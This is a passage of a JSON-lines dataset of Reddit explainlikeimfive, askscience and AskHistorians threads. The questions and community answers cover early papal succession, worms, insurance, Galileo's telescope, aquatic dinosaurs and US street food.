institution of the Papacy developed over time). The list goes:\n\nLinus, Anacletus, Clement, Evaristus, Alxander, Sixtus, Telephorus, Huginus, Pius, Anicetus, Ster, Eleutherius.\n\nThere are a number of significant issues though. Firstly, these kinds of succession lists (for Rome, but also in other places trying to claim an apostolic lineage) do not appear until the late 2nd century CE. There is no earlier attestation of these lineages. Secondly, Irenaeus does not tie Linus to Peter, but to the apostles, Peter and Paul; the idea of that Peter was bishop at Rome is itself not abundantly clear. Thirdly, although Irenaeus refers this Linus to the one mentioned 2 Tim 4:21, there's nothing beyond the name to associate them.\n\nIt is true that Irenaeus could have accessed Roman church traditions on a succession lineage, but he would still be the earliest mention of it. It's not helped by considering our other, later, sources. Eusebius follows Irenaeus, but other traditions appear to follow Hippolytus, for example the *Liber Pontificalis* (a possible 6th century text), which lists Peter, Linus, Cletus, Clement, Anacletus. It also states that Peter ordained two bishops, Linus and Cletus (*Liber Pontificalis*, 1.3). \n\n*Apostolic Constitutions* gives us Linus ordained by Paul, and Clement as 2nd, ordained by Peter.\n\nAnd yet, further complications need to be acknowledge - Clement is mainly famous for the letter of *1 Clement*, which (a) is attributed to him but contains no direct acknowledgement; (b) it's unclear that Clement was a bishop at Rome; If I recall Wellborn's argument on this correctly, he suggests that Clement was more likely the church secretary at Rome, tasked with writing outgoing correspondence.\n\nMoreover, the idea of 'monarchical episcopacy', that a single bishop held power and authority in a city, does not appear to be the case so early, not in Rome and not elsewhere. Just as the notion of 'pope' is in great danger of anachronism when read back into this early period, even 'bishop of Rome' is disputable.\n\nAlas, we know so little that it is difficult to be certain of anything. Was Linus a real person? Probably. Was he a sole-bishop at Rome? Less likely. Did this occur as a direct result of Peter handing him apostolic authority? Even less likely."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5wfiiy", "title": "do worms travel with a single orientation? do they have a \"belly\" side that they usually travel facing down with? or do they just move without caring about their rotation?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5wfiiy/eli5_do_worms_travel_with_a_single_orientation_do/", "answers": {"a_id": ["de9pg7m", "de9v6zt", "deau9wg"], "score": [1181, 551, 18], "text": ["They have a \"belly\" (abdominal) and a back (dorsal). They are not symmetrical inside. The neural system is the top side, the digestive system is the bottom side. And they aware of which side is up and down.", "Not all \"worms\" have the same body plan.\n\nSegmented worms, earthworms for example, are bilaterally symmetrical, and have a dorsal (upper) and ventral (lower) side. These characteristics are shared with all segmented creatures, ranging from earthworms to insects to vertebrates. Note: tapeworms, although \"segmented,\" are not members of these groups.\n\nAs pointed out in the thread above, creatures with dorsal/ventral body plans are \"aware\" of their physical orientation.\n", "So if you turn a worm on its dorsal side will they first rotate before crawling away? I think it is time for a science experiment."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4kv65h", "title": "if insurance rates go up for accidents, (even accidents out of your control, like a tree falling on your car), why file and insurance claim at all?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4kv65h/eli5_if_insurance_rates_go_up_for_accidents_even/", "answers": {"a_id": ["d3i09h5", "d3i0ijl"], "score": [2, 2], "text": ["It's not cheaper when you don't have that $250 on you and you absolutely need your car. A lot of people don't have that kind of cash just lying around.\n\nBut besides this, many insurance policies have a \"get one free\" condition where your rates don't go up the first time you report something. If you get into a pattern of it though, watch out because there go your rates.\n\nThere's also the safety factor. A cracked windshield really reduces the strength of your car's overall roof structure and drastically increases the odds that you'll be more seriously harmed - and require a greater insurance payout - in the event of your car being in an accident. Many insurance companies pay the cost of fixing cracked windshields for free, to save on those bigger payouts that might happen if you do get into a crash.", "Using that logic it's also cheaper not have insurance at all. On average you're going to be out more money paying for insurance than you're ever going to get back through claims. In fact that's what makes insurance companies profitable. \n\nSo why do we have insurance? Because it gives us a safety net so that we don't need to have 250$ for a new windshield when it happens to break. But yeah, sometimes it doesn't make sense to make a claim, like if your deductible is higher than the cost of the claim. \n\nAlso, typically your rates don't increase from a single 250$ claim."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1xrzpo", "title": "why do people pour out a little bit of alcohol, for their dead friends when they drink?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1xrzpo/eli5_why_do_people_pour_out_a_little_bit_of/", "answers": {"a_id": ["cfe3lst", "cfe3rik", "cfe6ejz"], "score": [3, 2, 3], "text": ["figuratively, it's a sip for their dead friend to drink.", "One for the salt of the Earth. \n\n\n\u201cLets drink to the hard working people\n\nLets drink to the lowly of birth\n\nRaise your glass to the good and the evil\n\nLets drink to the salt of the earth\u201c\n\nJagger/Richards\n", "You've marked this as answered, but I don't think any of the responses quite answer it. This practice is called [Libation,](_URL_0_) and it's a been a human custom for thousands of years. It is essentially a religious offering for the dead and the gods. It's kind of cool to think that Odysseus and 2Pac have shared the same traditions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Libation"]]}
{"q_id": "4n4rwn", "title": "How good were the optics in Galileo's telescope compared to today's cheap telescopes?", "selftext": "Amateur astronomers try to warn well-meaning parents away from the $50 Wal Mart telescopes, with good reason. However, the telescope that Galileo used would have had limited optics compared to what's available to a well-funded amateur today, and he saw quite a lot with it.\n\nHow would Galileo's telescope compare to the cheap end of today's models?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4n4rwn/how_good_were_the_optics_in_galileos_telescope/", "answers": {"a_id": ["d416y52", "d41cd7v"], "score": [3, 10], "text": ["OK, not a bad question, the answer is actually well-known. The telescope he made most of his discoveries with was 1\" or smaller diameter, and roughly compares to a Dobsonian (2 lens) design, although his used one concave and one convex lens, and the standards today use two convex lenses. \n\nThis 2\" telescope for under $30 is much better than Galileo's in aperture and has comparable magnification.  \n  \n_URL_0_  \n  \nGalileo's Magnification: 30X  \nGalileo's aperture: 0.62\", later 1\"  \n", "Galileo's telescope could not resolve the planet Saturn, he saw the rings as two fixed moon like globs on either side of the planet. Today's cheap 2.4\" refractor can easily resolve Saturn's rings so it shows you how bad Galileo's optics were.  \n\n\n\nGalileo's did not have the lenses we have today, his telescope used simple lenses so they produced horrible color fringed images. Even cheap modern telescopes use two glass achromatic lenses to focus most of the color - Galileo never had that... achromats would not show up till 150 years later. Galileo did understand that stopping a lens down made it work better so he stopped down the objective lens to 12mm......  meaning he had a 1/2 inch telescope that was a meter long... making it somewhere around f/80. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.amazon.com/TruePower-40-0224-Refractor-Telescope-Tripod/dp/B00I38S3BE/ref=sr_1_11?s=photo&amp;ie=UTF8&amp;qid=1465409397&amp;sr=1-11&amp;keywords=telescope"], []]}
{"q_id": "9carhb", "title": "if i repeatedly fail at something which needs precision (like scoring a goal in soccer), will i get better the more i try or will i always be bad due to muscle memory kicking in?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9carhb/eli5_if_i_repeatedly_fail_at_something_which/", "answers": {"a_id": ["e59b07s", "e59f6fv", "e59gqn0", "e59k2ta"], "score": [14, 3, 5, 3], "text": ["Sometimes the more you do something the more \"honed\" in you get at picking up any mistakes you might be making.  Your brain picks up how toimprove and quite often you will have \"eureka\" moment and click. ", "As part of the learning process, the brain in a way knows the difference between success and failure. If you're trying to get better at something and fail, the brain understands this and will overrule the 'muscle memory'.", "A common saying is that \"practice makes perfect.\" This is kind of true, but it's far more accurate to say that practice makes permanent. If you practice doing something incorrectly, you will be doing that thing incorrectly and it will be MUCH harder to fix any problems you developed during your earlier practicing. That said, as others have stated part of practicing anything is making mistakes and adjusting so you get better. ", "The issue here is that you're confusing the terms, and not really identifying what you mean by \"practice\". Let's use your soccer ball analogy.\n\nIf you were to practice by kicking the ball exactly the same way every single time, then your assumption would be correct. Muscle memory would form and become a very difficult problem to fix. \n\nHowever, if you do that kick \"roughly\" the same each time, and gradually move toward more and more accurate kicking (which is what would actually happen), then the muscle memory forming would include these more accurate kicking techniques. This way, you would definitely get better at scoring that goal, because you have learned exactly what NOT to do, as well as what TO do. \n\nYou'd also be honing all the various skills related to scoring a goal, such as; fine motor control in the foot, spatial awareness (what is around you, and how far you are from things), and an increased sensitivity to how much force you're applying with your kicking foot (learning how to kick 10 meters vs 15 meters). \n\nAnd this is exactly the role of the training coach. His whole job is to fix those little errors that add up into bad form, so that you don't get used to them. This goes for kicking a goal or playing a piano or even woodworking. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2ufevb", "title": "Have there been any sculptures of Muhammad? Or other Islamic sculptures? Why or why not?", "selftext": "This link has a collection of various images and depictions of Muhammad, some in Islamic manuscripts, others in Western media. _URL_1_\n\nI also found a link to an impressive figure called the Pisa Griffin: _URL_0_\n\nThis got me thinking: Have there been any sculptures of Muhammad or other Islamic holy figures? Is there a tradition of Islamic sculpture, and what does it consist of? If there is not a widespread tradition, what are the reasons for that? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2ufevb/have_there_been_any_sculptures_of_muhammad_or/", "answers": {"a_id": ["co7wgvq"], "score": [6], "text": ["It is important to make the distinction between Turkish/Persian art and Arab art. Arab art is usually focused on geographic shapes and calligraphy, and rarely depicts living things of any kind. In Arab culture depictions of living things were generally more taboo than in other parts of the Muslim world, but it was never really a hard and fast prohibition so there are a few examples of Arab art depicting living things. I hadn't heard of the Pisa Griffin before, but it is definitely a cool example of Arab sculpture. This is just speculation, but maybe the Arabs in Andalusia were influenced by the Berbers (non-Arab natives of north Africa) who were active in the region and it loosened their prohibition of sculpture/other stuff which could be seen as idolatrous. The only other example of Arab sculpture I can find is also in modern-day Spain, [ lions in the court of alhambra ] ( _URL_1_ )\n\nPersian culture is less opposed to depictions of living things and it was common to depict living things in [ Persian Miniatures ] ( _URL_0_ ) even after the Muslim conquest of Persia. You'll notice that the majority of the depictions of Mohammed in the link you provided are of Persian/Turkish Origin. In terms of sculpture, in Persia there are examples of stone carved reliefs, but I have never heard of sculpture depicting the prophet in particular. \n\nAs for *why*, Muslims are opposed to idolatry. Depictions of the Prophet are seen as promoting idolatry, and statues in particular seem to invite worship. So while images in Persian miniatures may be permitted at times, a statue of the prophet would be totally taboo."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Pisa_Griffin", "http://www.zombietime.com/mohammed_image_archive/"], "answers_urls": [["http://en.wikipedia.org/wiki/Persian_miniature", "http://en.wikipedia.org/wiki/File:Granada_Alhambra_Fuente_de_los_leones.jpg"]]}
{"q_id": "fp5ns", "title": "What interesting occurrence of memory in nature did we observe?", "selftext": "~~I have read about Epigenetics and heard about the shape memory of Nickel titanium~~. ~~These may be unrelated but I am very interested in the concept of memory and where it occurs~~.\n\nEpigenetics can retain information across generations. The immune system stores information about pathogens. Those are two examples beyond the brain I can come up with that I would apply the concept of memory to. Do you know of more?\n\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/fp5ns/what_interesting_occurrence_of_memory_in_nature/", "answers": {"a_id": ["c1hld8w", "c1hltmq", "c1hms61"], "score": [3, 2, 2], "text": ["I'm very stupid, but excuse me for that and indulge me: I'm not following your leap of logic. How would you characterize the relationship between epigenetics and shape-memory alloys?", "I don't have anything new, but since the context was fitting, I thought I'd share [this research](_URL_0_). \n\ntl;dr: Visit some wallabies isolated from predators for thousands of years, show them cut-outs of predators, watch wallabies get scared.", "the prevailing hypothesis about molecular origins of life postulates that informational polymers like RNA (or PNA or others) began a cycle of self-catalyzing its own formation. These pre-biopolymers have been shown experimentally to adapt to their environment (Ill dig up a reference)  but more importantly, attain the ability for their structures to be \"history dependent\" meaning not just mirroring the ambient conditions (state functions), but instead retaining structure from the path they took to get there. This was the beginning of evolution, and the beginning of chemical \"memory\" in the sense that you used in your question. These ideas have been demonstrated in the lab using model systems, although the actual historical chemical systems are as yet unknown."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.eeb.ucla.edu/Faculty/Blumstein/pdf%20reprints/Blumstein_etal_2000%20BE.pdf"], []]}
{"q_id": "3v3c5x", "title": "why do law firms always have the last name of partners ie \"smith, jones  &  jackson\" and not names like other businesses", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3v3c5x/eli5_why_do_law_firms_always_have_the_last_name/", "answers": {"a_id": ["cxjzfxd", "cxk0anz", "cxk1jg2", "cxk5ngf"], "score": [2, 20, 4, 3], "text": ["Because theres usually very few people involved and their name is essentially the most important thing.\n\nYoure not hiring Law Bizz to represent you, youre hiring Jackson Jones or whatever", "Because lawyers, like doctors, engineers, architects, etc. are personally licensed to practice their profession. A corporation can't become licensed to practice law, only a person can. It varies by state, but even in places where lawyers and other professionals are allowed to form corporations, they often still have to advertise themselves as \"Laws, Inc., the firm of Dewey, Cheatem, and Howe\". ", "Most legal practices are not corporations but partnerships (firms); they're an agreement between professionals working together. \"Smith  &  Jones\" means that Mr. Smith and Mr. Jones are the partners running the show, and if Mr. Jones leaves the firm that means his name goes off the wall, too. (Though some firms carry the names of long-time deceased partners.)\n\nThis is the case because you usually have a professional relationship with individuals. Ideally, one Walmart employee is as good as any other, but it makes a difference whether you have Mr. Smith or Mr. Jones as your attorney. The partnership model is focused on those individuals. As others have noted, in the legal field in particular, there are restrictions on other forms of business.", "When you name a company normally it's to try to develop a brand. You create a persona that people can expect anything with that label to live up to. Like you could expect Baskin Robbin's to anyways have a large selection of quality ice cream. Well with law firms there previous cases are what advertise there quality. More often then not if they've gotten to the point of starting there own firm they probably have a good track record so naming it after them self helps establish that branded. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "9865vn", "title": "why is sickness a response to stress or anxiety?", "selftext": "Doesn\u2019t a stress factor or risk seem like it should induce a response that would bolster survival odds?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9865vn/eli5_why_is_sickness_a_response_to_stress_or/", "answers": {"a_id": ["e4dko8w", "e4dkrck", "e4dkxoi"], "score": [6, 3, 3], "text": ["\"sickness\" like you're describing is your body's immune defense system kicking into action.  It does this in response to things stressing the system.  Anxiety is a type of stress.  So is a gunshot wound, so is eating rotted meat.\n\nWhen you feel sick, what you're usually feeling is not the thing attacking you, but your body's response to it, namely white blood cells triggering a histamine reaction throughout your body, which causes a sensitive/rashy/swollen skin, a sore throat, runny nose, aching joints, dizziness, a queasy stomach, and other symptoms.  Those sensations are due to all the parts of your body dialing down normal operations to prepare for battle against an external pathogen.", "It's not a response, it's a consequence. Different things.\n\nIt's because under stress your entire nervous system can malfunction, stimulating some organs unnecessarily and failing to appropriately stimulate other organs. This can lead to chemical imbalance in the body, which will skew the metabolic processes and produce deficiencies and surpluses of various chemicals in your body. Can have all kinds of results.", "If our body would know \"a response to bolster survival odds.\" that would be great.\n\nStress is not usually a sign for your body to bolster against sicknesses. It is a sign to bolster against sleep and exhaustion. A sign to boost awareness and readiness for physical action. Long term stress can severaly wear out your body, reducing the functions of your immune system. In addition you often do not notice the first symptoms of a sickness and overexcert to make things worse.\n\nStress response is only meant for rare, short emergencies. Everything beyond that is too taxing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3gz87w", "title": "if buddhism was prevalent in korea, then why do so many korean dishes contain beef and pork?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3gz87w/eli5_if_buddhism_was_prevalent_in_korea_then_why/", "answers": {"a_id": ["cu2s53c", "cu2sc11"], "score": [13, 3], "text": ["A couple things:  \n\n >  According to the census of the year 2005, 22.8% of the population \n >  identifies as Buddhist, 18.3% as Protestant and 10.9% as Roman \n >  Catholic, totaling a 29.2% Christian population.\n\nSo were not talking about the majority, just a good number. And Korean Shamanism still has it's place as well. \n\n\nSecondly, Buddhism and vegetarianism varies a *lot* between different schools of thought. Theravadins also believes that the Buddha allowed the monks to choose a vegetarian diet, but only prohibited them from eating human, elephant, cow, horse, dog, cat, lion, tiger, bear, leopard, and slug flesh.\n\n\nAccording to Theravada, the Buddha did not prohibit any kind of meat-eating for his lay followers. In Vajrayana, the act of eating meat is not always prohibited. The Mahayana schools generally recommend a vegetarian diet, as some believe that the Buddha insisted that his followers should not eat the flesh of any sentient being.\n\n\nA lot of the opinions revolve around a few different things that are accepted as dogma - that the layperson shouldn't be *in the business* of meat, that Buddhists shouldn't *kill* creatures, and etc etc.\n\n\n\nIt's all interpretation on suffering. The basic precept that I roll with is that if I kill it, or it was killed *for* me, then it's wrong.", "Buddhism has not been prevalent in Korea for a while. Korean Confucianism essentially crushed it for ~400 years, with the rulers destroying almost all of the monasteries and preventing what monks/nuns were left from entering populated areas until the 19th century.\n\nIt is making a comeback though."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "12ivqp", "title": "If I were to place a pile of sugar outside an ant colony would I be supercharging the colonies growth rate in anyway?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/12ivqp/if_i_were_to_place_a_pile_of_sugar_outside_an_ant/", "answers": {"a_id": ["c6vo7k8", "c6vqz6z"], "score": [8, 5], "text": ["Developing ant larvae are fed primarily on protein, while the sugar resources are mostly for the adult workers.  So, while carbon resources would in up the activity of workers, it wouldn't actually increase the development of new workers.  One could argue that workers amped up on sugar will have more energy to go out and collect protein, which is certainly valid; there is good evidence that colonies given high quantities of protein or carbon will try to balance their ratio of intake.  However, if there really isn't that much protein available in the foraging range of the colony (which varies with ant species and colony size), it doesn't matter how much sugar you give them, they still won't be able to develop an indefinite number of workers.", "I am a hobbyist exterminator who has removed infestations in a couple of apartments.\n\nA while back I did an uncontrolled experiment to test this myself. I found two anthills of the same species on opposite ends of a housing complex. I left half a chicken hot dog by one, and nothing by the other. The next *day*, the one with the hotdog had created 4 new anthills, while the other remained the same.\n\nThis experiment doesn't tell us about ant numbers, but they do respond to new food sources. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2fzj1i", "title": "kabaddi", "selftext": "Currently in the Maldives and it's on TV all the time. Tried reading the wiki and what appeared to be a decent explanation on YouTube but still don't understand how scoring works. \n\nCross bulk line to earn points, touch other players, cross the mid line to \"secure\" your points. If you get tackled do you still get your points? I don't see them saying \"kabaddi\" during the duration of their raid either as all these videos and what not say you \"have\" to do. \n\nThanks! ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2fzj1i/eli5_kabaddi/", "answers": {"a_id": ["cke7qe1"], "score": [4], "text": ["Oh boy it's my time to shine.\n\nKabbadi is a game of Indian origin played between two teams on a field that's divided in half. Each team stays in their half, and takes turns sending one \"raider\" to the other half to try and score points. The catch is that the raider must hold his breath whenever he is in the other half. In order to prove that he isn't cheating, he has to continuously say \"Kabbadi\" the entire time. The goal of the game is to score more points than the other team at the end of the game.\n\nThere are 3 ways to score points:\n\n* A raider tags an opposing team member and makes it back onto his side of the field without losing his breath (1 point per tag). Any tagged players are declared \"out\" and leave the field\n* A raider crosses a special line in the opposing team's field and makes it back without losing his breath (1 point)\n* One team is able to completely eliminate the other team (2 points) \n\nThe defending team is allowed to tackle the opposing raider and hold him down until he loses his breath. If they are able to do so, then the raider is out and the defending team wins a point (some games don't have this last rule).\n\nI'm not sure why it seems as if they aren't saying Kabbadi, but they're supposed to. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8m3xqs", "title": "why do golf shots on tv always look like they are going way off to the side?", "selftext": "It seems like every time they show a golf shot from behind on tv coverage the ball is flying way of to the side. Normally far right for a right handed golfer and left for a lefty. Why?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8m3xqs/eli5_why_do_golf_shots_on_tv_always_look_like/", "answers": {"a_id": ["dzl0ooh"], "score": [5], "text": ["Parallax.\n >  the effect whereby the position or direction of an object appears to differ when viewed from different positions, e.g., through the viewfinder and the lens of a camera."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "286akh", "title": "can you actually eat other people and survive?", "selftext": "Just watching a movie and wondering. \n\nEDIT: Sorry, didn't know how to add the NSFW. I didn't think about it. I was watching The Book Of Eli. It was the part where he asked how the old couple survived for so long (cause the movie is 30 years after a war,  &  at this part they found out the old couple ate other people). ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/286akh/elif_can_you_actually_eat_other_people_and_survive/", "answers": {"a_id": ["ci7t9ky", "ci7taoz", "ci7taxg", "ci7tc9o", "ci7u4iu", "ci80pv2", "ci811az", "ci84zlu"], "score": [23, 9, 3, 2, 2, 4, 12, 2], "text": ["Is that movie [Alive](_URL_0_? It's based on a true story, so the answer to your question is \"yes\". Provided you don't eat the human brain, and you take all the other normal precautions when eating meat, humans can survive eating other humans. I don't know why you would want to though.", "Oh sure. Humans are just animals like anything else. You can eat a pig and survive, you can eat a cow and survive, you can eat a human and survive. It's just culturally frowned upon quite a bit more.", "Yes you can and there are some well known cases in which it was necessary to survive. An example is the Donner Party:\n\n_URL_0_\n\n", "You can eat other humans in the same way that you can eat animals. There are parts that are good to eat and there are parts that you shouldn't eat. You should prepare the parts in a manner that prevents the spread of germs and disease, in the same way that we currently do when we cook and eat animals.", "What's the best part to eat? The tube steak?", "No, law enforcement tends to catch up with you sooner or later.", "Yes you can, but don't eat meat from a clown. It tastes funny. ", "Absolutely!  \n  \n  Ignoring the ethical issues, human meat is perfectly fine to eat, as long as you take some precautions. As with any meat, you ideally want to harvest it from healthy individuals. With human meat, you'd have to be *especially* careful to pick healthy sources, because it is even easier to catch diseases from fellow humans than it is from non-human animals. In a survival scenario it doesn't matter so much (better to eat unhealthy meat and risk eventual sickness than to starve and risk immediate death *assuming that human meat is the only food available*), but if you were setting up some kind of human-eating society you'd want to be more careful to avoid problems. You'd want to avoid eating brains and other neurological tissue for similar reasons; it increases the risk of transmitting prion-based neurological diseases. Of course, in a survival scenario, you would actually *want* to eat the brain (brains are *packed* with calories), as the risk of getting a prion disease would probably be significantly less than the risk of immediate starvation. Just don't make a habit of it.  \n  \n  However, if you're in a survival scenario and you have *any* other choices for food, I'd recommend avoiding eating your fellow humans. The potential long-term health *and* psychological issues make cannibalism an absolute worst-case option. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Alive_(1993_film%29)"], [], ["http://en.m.wikipedia.org/wiki/Donner_Party"], [], [], [], [], []]}
{"q_id": "4hmwvc", "title": "Were there ever any aquatic dinosaurs?", "selftext": "I'm aware there were prehistoric swimming reptiles (plesiosaurs, mosasaurs, ichthyosaurs, etc.), but as I understand they belonged to class: reptilia, so they weren't dinosaurs proper.\n\nIt seems like the major classes of modern animals--reptiles, birds, and mammals--have all at some point gone back to the sea (e.g., sea turtles, penguins, wales). Are there any examples of aquatic animals belonging to class: dinosauria? In other words, are there any examples of aquatic dinosaurs that clearly evolved from a terrestrial dinosaur ancestor?\n\nSorry if this is a naive or out-of-date question. I'm not familiar with dinosaur phylogeny.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4hmwvc/were_there_ever_any_aquatic_dinosaurs/", "answers": {"a_id": ["d2r0s6u"], "score": [39], "text": ["This isn't a naive question at all. It's a pretty cool one. \n\nPenguins, ducks, pelicans, and all other manner of aquatic bird, are aquatic dinosaurs. Remember that Aves (birds) is just one branch of the [dinosaur family tree](_URL_0_). There are also extinct examples such as [*Hesperornis*](_URL_1_), a flightless diving bird. \n\nBut what about non-bird dinosaurs? Well, there's been a lot of talk recently about [*Spinosaurus*](_URL_2_) - new research is piling up evidence that this massive meat-eater was semi-aquatic, perhaps like a wading bird or crocodile.\n\nBut fully marine dinosaurs? Nope, we have never found any. Not yet. It may be that it happened and we just haven't found the fossil evidence - which wouldn't be surprising given how many other lineages have turned back to the sea - or it may be that, for some reason, dinosaurs were land-locked. \n\nAlso to be clear on aquatic reptile phylogeny: mosasaurs were marine lizards; plesiosaurs were not-too-distant relatives of the lizards; and ichthyosaurs were yet another branch. All belong to [\"Reptilia\"](_URL_3_) and so do dinosaurs, just different branches. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://ntamura.deviantart.com/art/Dinosaur-phylogeny-339509599", "https://en.wikipedia.org/wiki/Hesperornis", "http://press.nationalgeographic.com/2014/09/11/scientists-report-first-semiaquatic-dinosaur-spinosaurus/", "http://www.bio.miami.edu/dana/106/106F14_10print.html"]]}
{"q_id": "9vdat6", "title": "why does the screen of a calculator turn a blue colour when you press in on it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9vdat6/eli5_why_does_the_screen_of_a_calculator_turn_a/", "answers": {"a_id": ["e9ba8v8", "e9babqh"], "score": [14, 3], "text": ["You must be talking about a Liquid Crystal Display (LCD).\n\nIf that is the case, then the actual crystals that bend the light are essentially liquid, so if you press down, you deform them, and they half-turn, and begin reflecting random bits of light.", "The screen is called an LCD, which is a liquid Crystal display. When you press the screen, you move the liquid around when it shouldn't."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "a9rlhg", "title": "why do clothes manufacturers put their tags on the neck of shirts where it will scratch and bother people, and then stick them on in such a way where it can't be removed without damaging the shirt?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a9rlhg/eli5_why_do_clothes_manufacturers_put_their_tags/", "answers": {"a_id": ["ecltcm7", "ecm26r2"], "score": [43, 5], "text": ["The neck is the only part that shows on a store hanger but not when you are wearing the shirt.  They don't want them to come off until after you've bought the shirt, because they show the size, key sales information.", "A lot of Under Armour stuff has tags that tear off easily. There's still a small strip trapped under the stitching, but its not noticeable. As someone mentioned, it probably costs extra."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2ksvhq", "title": "why is street food not very common in the us?", "selftext": "Whenever you're browsing reddit, you inevitably see someone singing the praises of the street food that you can find in one country or another. But why does street food not really seem to be a thing here in the US? I've lived in three different states and never really seen it. There are a couple of food trucks and that's it. Is it only in bigger cities, or is it actually a national/cultural difference?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ksvhq/eli5_why_is_street_food_not_very_common_in_the_us/", "answers": {"a_id": ["cloddis", "cloddwp", "clodse9", "cloecm8", "clogojs", "clogxqr", "clomp41", "clos75o"], "score": [2, 21, 7, 6, 5, 4, 3, 2], "text": ["Only in larger cities.\n\nThere aren't enough people in enough of a rush in smaller towns and in rural areas, hence why diners are more common there.", "Where so many Americans are spread out over a large area, there are very few places where there is a high enough concentration of people to allow street food vendors to make a profit. It's common in large cities like New York with lots of foot traffic to have street carts, but anywhere else in the US it wouldn't be very profitable.", "Food safety standards make it more difficult to operate food stands in the US than in less developed countries.\n\nAlso, Americans are pretty spread out and drive a lot, so it is hard to find places with enough foot traffic.\n\nBut, most large cities are currently experiences a renaissance in the food truck business, with many gourmet options available, and website devoted to tracking food truck locations.  ", "In many cities, laws have been passed banning or severely limiting the sale of food from a mobile vending cart or stall. Think of all the health code violations that you could rack up if your cart or stall doesn't have ventilation, refrigeration, or the proper sanitation in place.\n\nIn Boston, I believe, there is a law that stares that food carts must move 10 blocks in between each sale. A former professor of mine uses his run in with that law as an example of why entrepreneurs must research regulations extensively before going into the food business.", "Simply put. America is sprawled and the vast majority of us live in suburbs that are virtually inaccessible without a car (You could technically walk to a store but realistically, you're going to eventually need a car/everyone has at least one). Now a mobile food truck would be seen as unsightly in a suburban street where privacy and cleanliness come over all. For some reason though, the ice cream truck seems to be the universal exception. ", "I thought your street food was just fast food, and y'all put that in drive-thrus instead of carts. ", "The US is primarily designed for car travel, not foot travel. Those cities that do have dense enough foot traffic to allow food vendors to profit do have food trucks and food carts but most cities and towns do not. \n\nEdit: You also have health codes that make that type of food difficult if not impossible to run. ", "One reason would be food safety laws and business regulations that are enforced here in the US, which may not exist in other countries; at least to the same degree.    For example, I sell Pizza at our county fair in the fall.   To meet health department standards my small Pizza stand is required to have commercial grade refrigeration, four sinks, backflow prevention valve, hot water heater, food grade water supply hoses, fire extinguishers, wastewater collection tank, commercial stainless work surfaces and utensils,  screens, equipment to hold food at specific temperatures, sanitizer and concentration test kit, thermometers, glass shields between any food and the public, aprons/gloves/hair restraints for the employees, and has to meet most of the other requirements that restaurants do.   I have to pay for a food safety class and pass a certification test every 4 years, buy insurance and a state food business license, electrical hook up permit and inspection, my propane hookup and gas plumbing has to be inspected by the gas company, collect sales tax, pay state, local, and federal income tax on my earnings, pay a local business tax to the town, and have a health department and a fire department inspection before I can operate.   We are taught to source our food products from reputable suppliers, how to identify possible food product safety issues, and to reject food products that may be questionable in deliveries.   There are even state regulations specifying what type of food is to be placed on what shelf in a refrigerator.  I am supposed to have a HACCP plan for each food product I sell, and keep running logs of all my food holding and refrigeration temperatures.    Keep in mind, all this is just to sell pizza at a fair one week a year.    This is all mandatory, and requires a significant investment of time and money.     In most parts of the US it is not as simple as setting a charcoal grill out along the sidewalk and throwing some burgers on it and selling them to anyone that walks past.  If you do that you are risking being shut down and usually some pretty hefty fines if you get caught, not to mention being sued if you make someone ill or if someone gets injured at your business.\n   Compare this to the roadside Roti stands I saw all over the place in St Lucia.  They were selling goat meat sandwiches in 95 degree weather with tropical insects all around the place and raw food laying out on cardboard in the sun.  I suspect most of the meat was freshly killed out back of the buildings. Not one of them had 